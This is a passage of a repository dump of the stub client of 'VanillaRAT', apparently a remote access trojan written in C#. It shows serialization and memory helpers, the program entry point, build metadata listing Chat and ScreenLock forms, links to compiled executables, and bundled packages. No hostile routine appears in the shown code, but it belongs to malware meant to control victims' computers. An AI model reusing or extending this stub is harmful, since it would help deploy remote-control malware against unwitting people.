40 | break; 41 | 42 | case 1: 43 | h ^= *((byte*) realData); 44 | h *= m; 45 | break; 46 | } 47 | 48 | // Do a few final mixes of the hash to ensure the last few 49 | // bytes are well-incorporated. 50 | 51 | h ^= h >> 13; 52 | h *= m; 53 | h ^= h >> 15; 54 | 55 | return h; 56 | } 57 | } 58 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/NativeMethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace VanillaStub.Helpers.Services.StreamLibrary.src 5 | { 6 | public class NativeMethods 7 | { 8 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] 9 | public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); 10 | 11 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] 12 | public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); 13 | 14 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] 15 | public static extern int memcpy(IntPtr dst, IntPtr src, uint count); 16 | 17 | [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] 18 | public static extern unsafe int memcpy(void* dst, void* src, uint count); 19 | } 20 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/PayloadWriter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | 5 | namespace VanillaStub.Helpers.Services.StreamLibrary.src 6 | { 7 | public class PayloadWriter : IDisposable 8 | { 9 | public PayloadWriter() 10 | { 11 | vStream = new MemoryStream(); 12 | } 13 | 14 | public PayloadWriter(Stream stream) 15 | { 16 | vStream = stream; 17 | } 18 | 19 | public Stream vStream { get; set; } 20 | 21 | public int Length => (int) vStream.Length; 22 | 23 | public void Dispose() 24 | { 25 | vStream.Close(); 26 | vStream.Dispose(); 27 | vStream = null; 28 | } 29 | 30 | public void WriteBytes(byte[] value) 31 | { 32 | vStream.Write(value, 0, value.Length); 33 | } 34 | 35 | public void WriteBytes(byte[] value, int Offset, int Length) 36 | { 37 | vStream.Write(value, Offset, Length); 38 | } 39 | 40 | public void WriteInteger(int value) 41 | { 42 | WriteBytes(BitConverter.GetBytes(value)); 43 | } 44 | 45 | /// 46 | /// A integer with 3 bytes not 4 47 | /// 48 | public void WriteThreeByteInteger(int value) 49 | { 50 | WriteByte((byte) value); 51 | WriteByte((byte) (value >> 8)); 52 | WriteByte((byte) (value >> 16)); 53 | } 54 | 55 | public void WriteUInteger(uint value) 56 | { 57 | WriteBytes(BitConverter.GetBytes(value)); 58 | } 59 | 60 | public void WriteShort(short value) 61 | { 62 | WriteBytes(BitConverter.GetBytes(value)); 63 | } 64 | 65 | public void WriteUShort(ushort value) 66 | { 67 | WriteBytes(BitConverter.GetBytes(value)); 68 | } 69 | 70 | public void WriteULong(ulong value) 71 | { 72 | WriteBytes(BitConverter.GetBytes(value)); 73 | } 74 | 75 | public void WriteByte(byte value) 76 | { 77 | vStream.WriteByte(value); 78 | } 79 | 80 | public void WriteBool(bool value) 81 | { 82 | WriteByte(value ? (byte) 1 : (byte) 0); 83 | } 84 | 85 | public void WriteDouble(double value) 86 | { 87 | WriteBytes(BitConverter.GetBytes(value)); 88 | } 89 | 90 | public void WriteLong(long value) 91 | { 92 | WriteBytes(BitConverter.GetBytes(value)); 93 | } 94 | 95 | public void WriteFloat(float value) 96 | { 97 | WriteBytes(BitConverter.GetBytes(value)); 98 | } 99 | 100 | public void WriteDecimal(decimal value) 101 | { 102 | BinaryWriter writer = new BinaryWriter(vStream); 103 | writer.Write(value); 104 | } 105 | 106 | public void WriteString(string value) 107 | { 108 | if (!(value == null)) 109 | WriteBytes(Encoding.Unicode.GetBytes(value)); 110 | else 111 | throw new NullReferenceException("value"); 112 | vStream.WriteByte(0); 113 | vStream.WriteByte(0); 114 | } 115 | } 116 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/PointerHelper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace VanillaStub.Helpers.Services.StreamLibrary.src 4 | { 5 | /// 6 | /// A helper class for pointers 7 | /// 8 | public class PointerHelper 9 | { 10 | private int _offset; 11 | 12 | public PointerHelper(IntPtr pointer, int Length) 13 | { 14 | TotalLength = Length; 15 | Pointer = pointer; 16 | } 17 | 18 | public IntPtr Pointer { get; } 19 | 20 | public int TotalLength { get; } 21 | 22 | public int Offset 23 | { 24 | get => _offset; 25 | set 26 | { 27 | if (value < 0) 28 | throw new Exception("Offset must be >= 1"); 29 | 30 | if (value >= TotalLength) 31 | throw new Exception("Offset cannot go outside of the reserved buffer space"); 32 | 33 | _offset = value; 34 | } 35 | } 36 | 37 | /// 38 | /// Copies data from Source to the current Pointer Offset 39 | /// 40 | public void Copy(IntPtr Source, int SourceOffset, int SourceLength) 41 | { 42 | if (CheckBoundries(Offset, SourceLength)) 43 | throw new AccessViolationException("Cannot write outside of the buffer space"); 44 | NativeMethods.memcpy(new IntPtr(Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), 45 | (uint) SourceLength); 46 | } 47 | 48 | private bool CheckBoundries(int offset, int length) 49 | { 50 | return offset + length > TotalLength; 51 | } 52 | } 53 | } -------------------------------------------------------------------------------- /VanillaStub/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Windows.Forms; 3 | using VanillaStub.Forms; 4 | 5 | namespace VanillaStub 6 | { 7 | internal static class Program 8 | { 9 | /// 10 | /// The main entry point for the application. 11 | /// 12 | [STAThread] 13 | private static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new InitialForm()); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /VanillaStub/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("VanillaStub")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("VanillaStub")] 12 | [assembly: AssemblyCopyright("Copyright © 2019")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("a593fcd2-c8ab-45f6-9aeb-8ab5e20ab402")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /VanillaStub/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace VanillaStub.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("VanillaStub.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Drawing.Bitmap. 65 | /// 66 | internal static System.Drawing.Bitmap alert_logo_png_2 { 67 | get { 68 | object obj = ResourceManager.GetObject("alert-logo-png-2", resourceCulture); 69 | return ((System.Drawing.Bitmap)(obj)); 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /VanillaStub/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace VanillaStub.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.9.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /VanillaStub/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /VanillaStub/VanillaStub.csproj.DotSettings: -------------------------------------------------------------------------------- 1 |  2 | True -------------------------------------------------------------------------------- /VanillaStub/VanillaStub.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | -------------------------------------------------------------------------------- /VanillaStub/alert-logo-png-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/alert-logo-png-2.png -------------------------------------------------------------------------------- /VanillaStub/bin/Debug/VanillaStub.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/bin/Debug/VanillaStub.exe -------------------------------------------------------------------------------- /VanillaStub/bin/Debug/VanillaStub.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /VanillaStub/bin/Debug/VanillaStub.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/bin/Debug/VanillaStub.pdb -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.Forms.Chat.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Forms.Chat.resources -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.Forms.InitialForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Forms.InitialForm.resources -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.Forms.ScreenLock.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Forms.ScreenLock.resources -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.Properties.Resources.resources -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 9c77358b2853ae32151fcd1206caba5afcd64900 2 | -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\bin\Debug\VanillaStub.exe.config 2 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\bin\Debug\VanillaStub.exe 3 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\bin\Debug\VanillaStub.pdb 4 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Forms.Chat.resources 5 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Forms.InitialForm.resources 6 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Forms.ScreenLock.resources 7 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.Properties.Resources.resources 8 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.csproj.GenerateResource.cache 9 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.csproj.CoreCompileInputs.cache 10 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.exe 11 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.pdb 12 | C:\Users\dhuin\Desktop\Projects\C#\VanillaRat\VanillaStub\obj\Debug\VanillaStub.csprojAssemblyReference.cache 13 | -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.exe -------------------------------------------------------------------------------- /VanillaStub/obj/Debug/VanillaStub.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaStub/obj/Debug/VanillaStub.pdb -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/.signature.p7s -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/Costura.Fody.3.3.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/Costura.Fody.3.3.2.nupkg -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/build/Costura.Fody.props: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | netclassicweaver 5 | netstandardweaver 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/lib/net40/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/lib/net40/Costura.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/lib/net40/Costura.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Costura 5 | 6 | 7 | 8 | 9 | Contains methods for interacting with the Costura system. 10 | 11 | 12 | 13 | 14 | Call this to Initialize the Costura system. 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netclassicweaver/Costura.Fody.pdb -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Costura.Fody.3.3.2/netstandardweaver/Costura.Fody.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/.signature.p7s -------------------------------------------------------------------------------- /packages/Fody.3.3.5/Fody.3.3.5.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/Fody.3.3.5.nupkg -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Fody.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/FodyCommon.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/FodyHelpers.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/FodyIsolated.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Mdb.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netclassictask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netclassictask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Fody.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/FodyCommon.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/FodyHelpers.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/FodyHelpers.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/FodyIsolated.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Mdb.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Pdb.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.Rocks.pdb -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.dll -------------------------------------------------------------------------------- /packages/Fody.3.3.5/netstandardtask/Mono.Cecil.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/Fody.3.3.5/netstandardtask/Mono.Cecil.pdb -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/packages/dnlib.3.1.0/.signature.p7s -------------------------------------------------------------------------------- /packages/dnlib.3.1.0/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (C) 2012-2018 de4dot@gmail.com 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining 4 | a copy of this software and associated documentation files (the 5 | "Software"), to deal in the Software without restriction, including 6 | without limitation the rights to use, copy, modify, merge, publish, 7 | distribute, sublicense, and/or sell copies of the Software, and to 8 | permit persons to whom the Software is furnished to do so, subject to 9 | the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be 12 | included in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 15 | EXPRESS OR IMPLIED, 